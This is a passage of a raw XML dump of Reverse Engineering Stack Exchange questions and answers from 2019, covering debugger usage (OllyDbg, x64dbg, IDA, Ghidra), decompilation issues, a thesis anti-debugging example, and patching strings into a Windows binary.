&amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceBuffer&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Challenge&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Password&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;&#xA;        public static unsafe uint Encrypt(byte* SourceBuffer, int Length, uint Challenge, byte[] Password)&#xA;        {&#xA;            uint expectedResponse = 0;&#xA;&#xA;            // init crush32&#xA;            if (Crush32.CX_SUCCESS == Crush32.cxInit())&#xA;            {&#xA;                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())&#xA;                {&#xA;                    // pin the managed sourcebuffer in memory so crush32 can access&#xA;                    // and we can directly use without marshaling.&#xA;                    fixed (byte* ptrPassword = Password)&#xA;                    {&#xA;                        // set password &amp;amp;&amp;amp; encrypt&#xA;                        if (Crush32.CX_SUCCESS == Crush32.cxSetPassword(ptrPassword))&#xA;                            expectedResponse = Crush32.cxBufEncrypt(SourceBuffer, Length, Challenge);&#xA;                    }&#xA;&#xA;                    Crush32.cxBuf2BufClose();&#xA;                }&#xA;&#xA;                Crush32.cxCleanup();&#xA;            }&#xA;&#xA;            return expectedResponse;&#xA;        }&#xA;        #endregion&#xA;        #region Public main&#xA;        [STAThread]&#xA;        static void Main(string[] args)&#xA;        {&#xA;            byte[] Data = File.ReadAllBytes(&quot;s001.bli&quot;);&#xA;                int CompressedLength = Data.Length;&#xA;                int UncompressedLength = 0;&#xA;                byte[] decompressedPixelData = new byte[UncompressedLength];&#xA;                bool result = Crush32.Decompress(Data, 15, decompressedPixelData, 0, (int)UncompressedLength, CompressedLength);&#xA;                string s = &quot;{&quot; +&#xA;                        string.Join(&quot;, &quot;,&#xA;                            decompressedPixelData.Select(x =&amp;gt; string.Format(&quot;0x{0}&quot;, x.ToString(&quot;X&quot;)))&#xA;                        ) + &quot;}&quot;;&#xA;                Console.WriteLine(s);&#xA;                Console.ReadKey(true);&#xA;&#xA;        }&#xA;        #endregion&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28446" LastEditorUserId="28446" LastEditDate="2019-06-04T06:38:06.140" LastActivityDate="2019-06-04T06:38:06.140" Title="Decompress from file with crush32" Tags="|decompress|c#|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21360" PostTypeId="1" AcceptedAnswerId="21378" CreationDate="2019-05-24T06:21:03.837" Score="1" ViewCount="1538" Body="&lt;p&gt;What is the difference between call stack and intermodular calls. Could you clarify the difference between the two? For example if I need to catch message box API function, do these methods serve the same purpose?&lt;/p&gt;&#xA;" OwnerUserId="27336" LastEditorUserId="27336" LastEditDate="2019-05-24T06:30:45.643" LastActivityDate="2019-05-28T17:36:19.900" Title="Call Stack vs Intermodular Calls in Ollydbg" Tags="|debugging|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21361" PostTypeId="1" CreationDate="2019-05-24T10:27:09.253" Score="2" ViewCount="316" Body="&lt;p&gt;For a long time now, I've been struggling with some functions generated with IDA HexRays plugin that seem to be corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the decompiled generated plain C code, show as ASM code :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  sqrt(v4);&#xA;  __asm&#xA;  {&#xA;    fstp    [esp+24h+var_C]&#xA;    fld     [esp+24h+var_C]&#xA;    fstp    [esp+24h+var_14]&#xA;    fldz&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the cause for this? possibly wrong stack pointers? I must admit that sometimes I also get the famous &lt;code&gt;sp&lt;/code&gt; issue that I always fix by &lt;code&gt;ALT + K&lt;/code&gt; and adjust the negative stack pointer, but the generated ASM code issue has happened to some functions before I even did that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when I load the same executable into another IDA instance and go to that same function memory, the decompiled code looks fine, so I'm guessing some how the database instance I'm working on due to one of my changes(probably structures layout) made that function failed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way also fixing that so the generated code will look as plain C again?&#xA;I already tried to &lt;code&gt;undefine&lt;/code&gt; the corrupted function and re-analyze it, but the output code will still be as ASM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="28516" LastActivityDate="2019-05-24T10:27:09.253" Title="IDA Hex-Rays Decompiler Generates ASM Code Issue" Tags="|ida|x86|decompilation|hexrays|decompiler|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21362" PostTypeId="1" AcceptedAnswerId="21371" CreationDate="2019-05-25T23:31:17.720" Score="-1" ViewCount="1481" Body="&lt;p&gt;I'm learning the reverse, and I'm trying to reverse a stripped binary (flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped). I manage to go to the entry address that points to the _start function. But impossible to know where is libc_start_main (for locate main).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_start: &lt;a href=&quot;https://ibb.co/nDpQyvv&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/nDpQyvv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub_44a770: &lt;a href=&quot;https://ibb.co/dK74pG5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/dK74pG5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub_44a560: &lt;a href=&quot;https://ibb.co/7S76m7t&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/7S76m7t&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your advice is good, if you have articles on the subject, I'm interested. Thank you&lt;/p&gt;&#xA;" OwnerUserId="28528" LastEditorUserId="28528" LastEditDate="2019-05-25T23:36:48.013" LastActivityDate="2019-05-27T06:40:25.297" Title="How reverse a stripped binary (Find the main function)" Tags="|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21363" PostTypeId="1" AcceptedAnswerId="21364" CreationDate="2019-05-26T08:21:25.153" Score="0" ViewCount="143" Body="&lt;p&gt;I'm taking part in this reverse engineering lab at college and we have this final big homework project. I have a part of the binary that changes it's own asm code by iterating through it's own bytes and &lt;code&gt;add&lt;/code&gt;-ing or maybe &lt;code&gt;xor&lt;/code&gt;-ing and then rewriting them back to memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck at this function that I managed to decompile using x64dbg to the following (variable naming changed by me)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint8_t fun_401c05(uint8_t argument) {&#xA;    uint8_t counter;&#xA;&#xA;    counter = 0;&#xA;    if (argument) {&#xA;        do {&#xA;            counter = (uint8_t)(counter + 1);&#xA;            argument = (uint8_t)(argument &amp;amp; (uint8_t)(argument - 1));&#xA;        } while (argument);&#xA;    }&#xA;    return counter;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand what exactly this function does. I know the function is called 3 times, each time with a letter from my input file. Each of the results is then processed using &lt;code&gt;xor&lt;/code&gt; and some &lt;code&gt;sar&lt;/code&gt; instruction (it's my first time seeing it) to calculate an int key that grants access to the next part of the challenge and I need to understand what the function does in order to give it the right input. I can see what it does but can't really get the meaning of it just yet..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I know the name of the question is bad but I have no idea what other generic name to give it. If someone can help I'll be very grateful &lt;/p&gt;&#xA;" OwnerUserId="28475" LastEditorUserId="28475" LastEditDate="2019-05-26T08:27:19.553" LastActivityDate="2019-05-26T10:28:08.200" Title="What does this function actually do?" Tags="|binary-analysis|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21364" PostTypeId="2" ParentId="21363" CreationDate="2019-05-26T10:19:11.987" Score="3" Body="&lt;p&gt;It counts the number of &lt;code&gt;1&lt;/code&gt;'s in &lt;code&gt;argument&lt;/code&gt;'s binary representation (see &lt;a href=&quot;https://stackoverflow.com/questions/8871204/count-number-of-1s-in-binary-representation&quot;&gt;link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, each &lt;code&gt;n &amp;amp; (n - 1)&lt;/code&gt; cancels out the least significant &lt;code&gt;1&lt;/code&gt; in &lt;code&gt;n&lt;/code&gt;'s binary representation, preserving all more significant digits.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-05-26T10:28:08.200" LastActivityDate="2019-05-26T10:28:08.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21366" PostTypeId="2" ParentId="21341" CreationDate="2019-05-26T18:34:03.120" Score="1" Body="&lt;p&gt;Turned out it was just a trick inserted in the code to distract us. What can I say, it was very successful haha. I ended up asking my teacher and he told me to try and avoid getting into that part of the code and after that I was able to see my mistake. Definitely learned something by falling into that trap&lt;/p&gt;&#xA;" OwnerUserId="28475" LastActivityDate="2019-05-26T18:34:03.120" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21367" PostTypeId="1" AcceptedAnswerId="25243" CreationDate="2019-05-26T18:52:30.077" Score="2" ViewCount="1792" Body="&lt;p&gt;In my BA thesis, I wanted to present a program for Windows, using various anti-debugging techniques. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of them, which I came up on my own (possibly it is well known, but I didn't find it anywhere) involves changing control flow by using signal handlers. As far as I know, when program receives certain signal and has a function registered to handle it, the main thread is paused and the execution is passed to the handler. After it returns from the function, the main thread can either continue execution, or even terminate in case where &lt;code&gt;SIGFPE&lt;/code&gt; or &lt;code&gt;SIGSEGV&lt;/code&gt; was passed, for example (see this &lt;a href=&quot;https://stackoverflow.com/questions/14233464/can-a-c-program-continue-execution-after-a-signal-is-handled/30169485&quot;&gt;question&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in such a case, it is possible to cause the thread executing handler not to stop after it leaves handler scope. The anti-debugging technique I've mentioned before takes advantage of this fact and is presented below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I'm aware that the code I'm about to present uses concepts that should never appear in a real program, should be avoided in almost every situation and never tried at home :). After establishing this, consider the following program: (I'm using GCC targeting minGW to compile it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;csignal&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;cstdio&amp;gt;&#xA;&#xA;void handler(int)&#xA;{&#xA;    asm(&quot;jmp continue&quot;); // do not return from this function; just jump to another place in the code&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    signal(SIGFPE, handler); // I know that sigaction should be used instead, but it's simpler and, as far as I know it wouldn't work for Windows&#xA;    // and I know, that after receiving second signal, there will be undefined behaviour, but let's assume it won't happen&#xA;    int a = 1 / 0; // cause SIGFPE to happen&#xA;    asm(&quot;continue:&quot;);&#xA;    printf(&quot;continue execution\n&quot;);&#xA;    Sleep(5000); // to show a printed message for a while, so that the console is not being closed immediately&#xA;    ExitProcess(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here comes my question: &lt;em&gt;how could be such a program debugged, such that it's possible to see&lt;/em&gt; &lt;code&gt;printf(&quot;continue execution\n&quot;);&lt;/code&gt; &lt;em&gt;line being executed?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to do this using Code::Blocks debugger (GDB), only the information that a program received &lt;code&gt;SIGFPE&lt;/code&gt; appeared and the program crushed without printing &lt;code&gt;&quot;continue execution&quot;&lt;/code&gt; string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when I tried to debug it in &lt;code&gt;OllyDbg&lt;/code&gt;, execution just stopped, nothing was printed on the screen, and I wasn't able to continue execution to the point where this string should be printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon &quot;normal&quot; execution it prints the string end finishes as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I've also tried to pass the exception to the application (using &lt;code&gt;SHIFT&lt;/code&gt;+&lt;code&gt;F7&lt;/code&gt;), but I only get message saying &quot;Debugged program was unable to process exception&quot; and I'm unable to continue the execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt; I will not upload the binary, since when I tried to download it, my antivirus software started to complain about it, so it would probably be marked as suspicious if someone else downloaded it.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-01T09:13:35.870" LastActivityDate="2020-06-08T21:31:37.950" Title="Debug program using peculiar anti-debugging technique" Tags="|windows|debugging|anti-debugging|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21368" PostTypeId="1" AcceptedAnswerId="21369" CreationDate="2019-05-26T18:53:03.043" Score="0" ViewCount="1311" Body="&lt;p&gt;When debugging with x64dbg I sometimes see &lt;code&gt;mov ss:[address] 0xAA&lt;/code&gt;, I know that this means: move 0xAA into memory at specified address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what does&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ds:[address] 0xAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mean?&lt;/p&gt;&#xA;" OwnerUserId="11890" LastActivityDate="2019-05-26T19:10:48.113" Title="What does ds mean?" Tags="|disassembly|assembly|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21369" PostTypeId="2" ParentId="21368" CreationDate="2019-05-26T19:05:42.727" Score="4" Body="&lt;p&gt;The &lt;code&gt;ds&lt;/code&gt; means &quot;data segment&quot; register in x86 architecture, while &lt;code&gt;ss&lt;/code&gt; states for &quot;stack segment&quot; register. You would probably want to read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2006/how-are-the-segment-registers-fs-gs-cs-ss-ds-es-used-in-linux&quot;&gt;link&lt;/a&gt; for more comprehensive description. When you see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ds:[address], 0xAA,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it means &quot;move &lt;code&gt;0xAA&lt;/code&gt; to address &lt;code&gt;address&lt;/code&gt; in data segment&quot;, that is segment pointed by the current value of &lt;code&gt;ds&lt;/code&gt; register. Similarly with every other segment register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In x64 architecture segment registers are ignored.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-05-26T19:10:48.113" LastActivityDate="2019-05-26T19:10:48.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21370" PostTypeId="1" CreationDate="2019-05-26T19:52:09.040" Score="1" ViewCount="1731" Body="&lt;p&gt;I want to patch a Windows binary (actually an ocx) with x64dbg. More specifically, I want to store a string of 60 bytes and store its address in EAX at a certain point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I just have to add it to a free spot in the memory dump and store its address in EAX? Or should open the file with a hex editor and add my string to the end and then somehow reference to that address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't really have grasp on what these dump windows mean. Why are there 5 and what's inside?&lt;/p&gt;&#xA;" OwnerUserId="11890" LastEditorUserId="11890" LastEditDate="2019-05-26T19:55:05.763" LastActivityDate="2020-06-22T22:04:00.413" Title="Storing a string with with x64dbg" Tags="|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21371" PostTypeId="2" ParentId="21362" CreationDate="2019-05-27T06:40:25.297" Score="2" Body="&lt;p&gt;Try to find &lt;code&gt;libc_start_main&lt;/code&gt; with its signature (the types of its arguments), this is what we do when everything has been stripped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, this is most likely &lt;code&gt;sub_44a705&lt;/code&gt;. Look at the value of &lt;code&gt;rdi&lt;/code&gt; at the start of the function and you should find &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-05-27T06:40:25.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21372" PostTypeId="1" CreationDate="2019-05-27T15:50:26.493" Score="1" ViewCount="313" Body="&lt;p&gt;Is there a way letting IDA scan all the database and reset all stack pointers values to it's default state that were previously modified? i.e like it was when I first started the analyzing the binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking because I used to change the stack pointers for some functions I couldn't read due to having &lt;code&gt;negative sp value&lt;/code&gt; and I didn't know that it's going to affect all it's caller functions. So I would like to reset all stack pointers in all the database(Using IDA Pro 7.0).&lt;/p&gt;&#xA;" OwnerUserId="28516" LastActivityDate="2019-05-27T15:50:26.493" Title="IDA Pro Reset All Stack Pointers to Default" Tags="|ida|decompilation|hexrays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21373" PostTypeId="2" ParentId="3018" CreationDate="2019-05-27T16:05:13.113" Score="1" Body="&lt;p&gt;binnavi from google works well remotely with gdb, it does require a bit of setup though and also needs IDA to create the IDB which is then converted to navi database format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/google/binnavi/tree/master/debug/client/gdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/google/binnavi/tree/master/debug/client/gdb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28542" LastActivityDate="2019-05-27T16:05:13.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21374" PostTypeId="2" ParentId="21367" CreationDate="2019-05-27T16:08:15.873" Score="1" Body="&lt;p&gt;Not sure if the exact answer you are looking for is in there, but this presentation is one of the best I have seen on this topic:&#xA;&lt;a href=&quot;https://www.blackhat.com/presentations/bh-usa-07/Yason/Presentation/bh-usa-07-yason.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blackhat.com/presentations/bh-usa-07/Yason/Presentation/bh-usa-07-yason.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28542" LastActivityDate="2019-05-27T16:08:15.873" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21375" PostTypeId="1" CreationDate="2019-05-27T16:22:24.100" Score="3" ViewCount="536" Body="&lt;p&gt;How someone would go to reverse engineer a sample protected with a virtual machine? The problem is that it's not &lt;code&gt;opcode&lt;/code&gt; anymore it's &lt;code&gt;bytecode&lt;/code&gt; which I don't have any idea about because it's a private virtual machine so how you would go about solving this problem taking into account that &lt;code&gt;ida pro&lt;/code&gt; and other tools doesn't work, some of you might say find the &lt;code&gt;OEP&lt;/code&gt; will that's possible if it is a simple packer that unpack it self completely at the first hit but it's not the case in here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for ideas on how to approach this problem.&lt;/p&gt;&#xA;" OwnerUserId="20481" LastEditorUserId="30460" LastEditDate="2020-05-03T00:15:05.777" LastActivityDate="2020-05-03T00:15:05.777" Title="custom virtual machine protection" Tags="|debugging|binary-analysis|decompilation|unpacking|virtual-machines|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21376" PostTypeId="1" CreationDate="2019-05-27T18:02:48.827" Score="2" ViewCount="293" Body="&lt;p&gt;I'm relatively new to scripting environments in disassemblers. What I am looking for is a way to dump all of the vtable methods from a C++ disassembly in such a way that I can access them later for further programmatic analysis. My intention is to pass them to another framework in order to do symbolic execution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my naive understanding of the available options I am going to assume the easiest way to do this is IDA python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In IDA Python how can I gather the addresses and bodies of all methods contained in vtables?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra Credit: The same for Binary Ninja or any other disassembler platform. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2019-05-27T18:02:48.827" Title="How to return a list of vtable methods?" Tags="|ida|c++|vtables|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21377" PostTypeId="1" AcceptedAnswerId="21381" CreationDate="2019-05-28T11:11:28.403" Score="0" ViewCount="131" Body="&lt;p&gt;I would like to set the value of the above variable to 0xFFFFFFFF using command line. I was exploring dbh.exe and believe it will atleast give some clues on where the symbol is. But when I try the following command, it gives &quot;no symbol found&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dbh.exe name nt!Kd_DEFAULT_MASK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I may need to setup symbol path but is there a way other than this?&lt;/p&gt;&#xA;" OwnerUserId="21602" LastEditorUserId="245" LastEditDate="2019-06-04T07:17:48.867" LastActivityDate="2019-06-04T07:17:48.867" Title="accessing nt!Kd_DEFAULT_MASK using dbh.exe" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21378" PostTypeId="2" ParentId="21360" CreationDate="2019-05-28T17:36:19.900" Score="0" Body="&lt;p&gt;They are completely different things.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Call stack&lt;/strong&gt; window shows such information as stack frame for each function call in the current thread, including arguments passed, name of callee and the (virtual) address where it was called from.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Intermodular calls&lt;/strong&gt; window, on the other hand, shows all calls to the &lt;em&gt;external&lt;/em&gt; (API) functions in the current module.&lt;/p&gt;&#xA;&lt;p&gt;That being said, if you want to find message box function, you can do it by opening &lt;em&gt;Intermodular calls&lt;/em&gt; window, clicking &lt;em&gt;Destination&lt;/em&gt; button (that will sort functions by name) and you may set breakpoints on each place this function is called, like presented in the image below:&lt;a href=&quot;https://i.stack.imgur.com/kwyrf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kwyrf.png&quot; alt=&quot;ollyDbg_Intermodular_calls&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course pick your desired function name instead of atoi.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-05-28T17:36:19.900" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21379" PostTypeId="1" AcceptedAnswerId="25409" CreationDate="2019-05-28T17:55:14.307" Score="3" ViewCount="1671" Body="&lt;p&gt;I've been analyzing an ARMv7 binary for a while and have done a lot of work with it (e.g. labeling functions, creating structs, labeling globals etc.). Unfortunately, I just realized that Ghidra mistakenly selected ARMv8 when it was being imported, which is causing some decompilation issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change the architecture at this point without needing to reimport? I know you can override the architecture when its being imported, but I have yet to figure out how to change the architecture after the fact.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-06-28T10:06:30.280" Title="Can you change the architecture in Ghidra after importing?" Tags="|decompilation|arm|disassemblers|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21381" PostTypeId="2" ParentId="21377" CreationDate="2019-05-28T20:51:49.300" Score="0" Body="&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dbh c:\Windows\System32\ntoskrnl.exe&#xA;&#xA;ntoskrnl [1000000]: x nt!*kd*def*&#xA;&#xA;&#xA;ntoskrnl [1000000]: x *kd*def*&#xA;&#xA; index            address     name&#xA;     1            1423400 :   KdPrintDefaultCircularBuffer&#xA;     2            14dd5c0 :   Kd_DEFAULT_Mask&#xA;&#xA;ntoskrnl [1000000]:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as can be seen above do not use module prefix &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dbh c:\Windows\System32\ntoskrnl.exe&#xA;&#xA;ntoskrnl [1000000]: n kd*def*m*&#xA;&#xA;   name : Kd_DEFAULT_Mask&#xA;   addr :  14dd5c0&#xA;   size : 0&#xA;  flags : 0&#xA;   type : 0&#xA;modbase :  1000000&#xA;  value :        0&#xA;    reg : 0&#xA;  scope : SymTagPublicSymbol (a)&#xA;    tag : SymTagPublicSymbol (a)&#xA;  index : 1&#xA;&#xA;ntoskrnl [1000000]:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my symbol path is set via _NT_SYMBOL_PATH environment variable&#xA;asking dbh to be verbose about symbol loads I get this display&#xA;check yours &#xA;I can say it works properly as far as I remember &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dbh -n c:\Windows\System32\ntoskrnl.exe&#xA;verbose mode on.&#xA;DBGHELP: No header for c:\Windows\System32\ntoskrnl.exe.  Searching for image on disk&#xA;DBGHELP: c:\Windows\System32\ntoskrnl.exe - OK&#xA;SYMSRV:  BYINDEX: 0x1&#xA;         f:\symbols*https://msdl.microsoft.com/download/symbols&#xA;         ntkrnlmp.pdb&#xA;         8CFB49428DC86A330CE257778E0C2F931&#xA;SYMSRV:  PATH: f:\symbols\ntkrnlmp.pdb\8CFB49428DC86A330CE257778E0C2F931\ntkrnlmp.pdb&#xA;SYMSRV:  RESULT: 0x00000000&#xA;DBGHELP: ntoskrnl - public symbols&#xA;        f:\symbols\ntkrnlmp.pdb\8CFB49428DC86A330CE257778E0C2F931\ntkrnlmp.pdb&#xA;&#xA;ntoskrnl [1000000]: q&#xA;&#xA;goodbye&#xA;&#xA;C:\&amp;gt;set _NT&#xA;_NT_SYMBOL_PATH=srv*f:\symbols*https://msdl.microsoft.com/download/symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-05-29T12:28:11.973" LastActivityDate="2019-05-29T12:28:11.973" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21383" PostTypeId="2" ParentId="21370" CreationDate="2019-05-29T14:39:28.543" Score="5" Body="&lt;p&gt;I don't know how to do it in x64dbg, but here is another way to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your ocx (dll) file in &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;noreferrer&quot;&gt;Resource Hacker&lt;/a&gt; and you should see the resorces within your dll file. Then click &lt;em&gt;Create Resources from Blank Script&lt;/em&gt; button and type there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;your_res_name RCDATA&#xA;{&#xA;   &quot;the_very_long_string_you_want_to_add\0&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And click &lt;em&gt;Compile Script&lt;/em&gt; button (or press &lt;code&gt;F5&lt;/code&gt; instead). Then save the file and now your dll should contain the resource you have just created. Additionally, a copy of your original dll will be created with a name &lt;code&gt;nameOfYourDllFile_original.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you just have to get the address of the previously inserted string - you may use IDA (and many other tools) for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing that, it is time to patch the binary - just find the place where you would like to move the string address to eax and just replace bytes with &lt;code&gt;mov eax, address&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note1:&lt;/strong&gt; I suppose you just want to change &lt;code&gt;mov eax, addr_of_some_string&lt;/code&gt; to &lt;code&gt;mov eax, addr_of_your_string&lt;/code&gt; - in that case you may just change the last 4 bytes of the instruction opcode, such that they contain relevant address. However, when it's not the case, you have to be very careful with patching, so that you do not overwrite any important instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note2:&lt;/strong&gt; You may want to add multiple strings as a resource if you wish - see &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/menurc/rcdata-resource&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-05-29T20:42:01.527" LastActivityDate="2019-05-29T20:42:01.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21384" PostTypeId="1" AcceptedAnswerId="21387" CreationDate="2019-05-29T15:07:30.057" Score="1" ViewCount="1867" Body="&lt;p&gt;This question sounds rather simple, but I can't seem to find any option for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm basically re-creating another database instance of the same binary I already reversed and I want to copy some of the structures I previously created in the previous instance to my new fresh IDA database instance.&#xA;Is there any way of doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="28516" LastActivityDate="2019-05-29T18:18:22.953" Title="IDA Copy structure from one database instance to another" Tags="|ida|decompilation|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
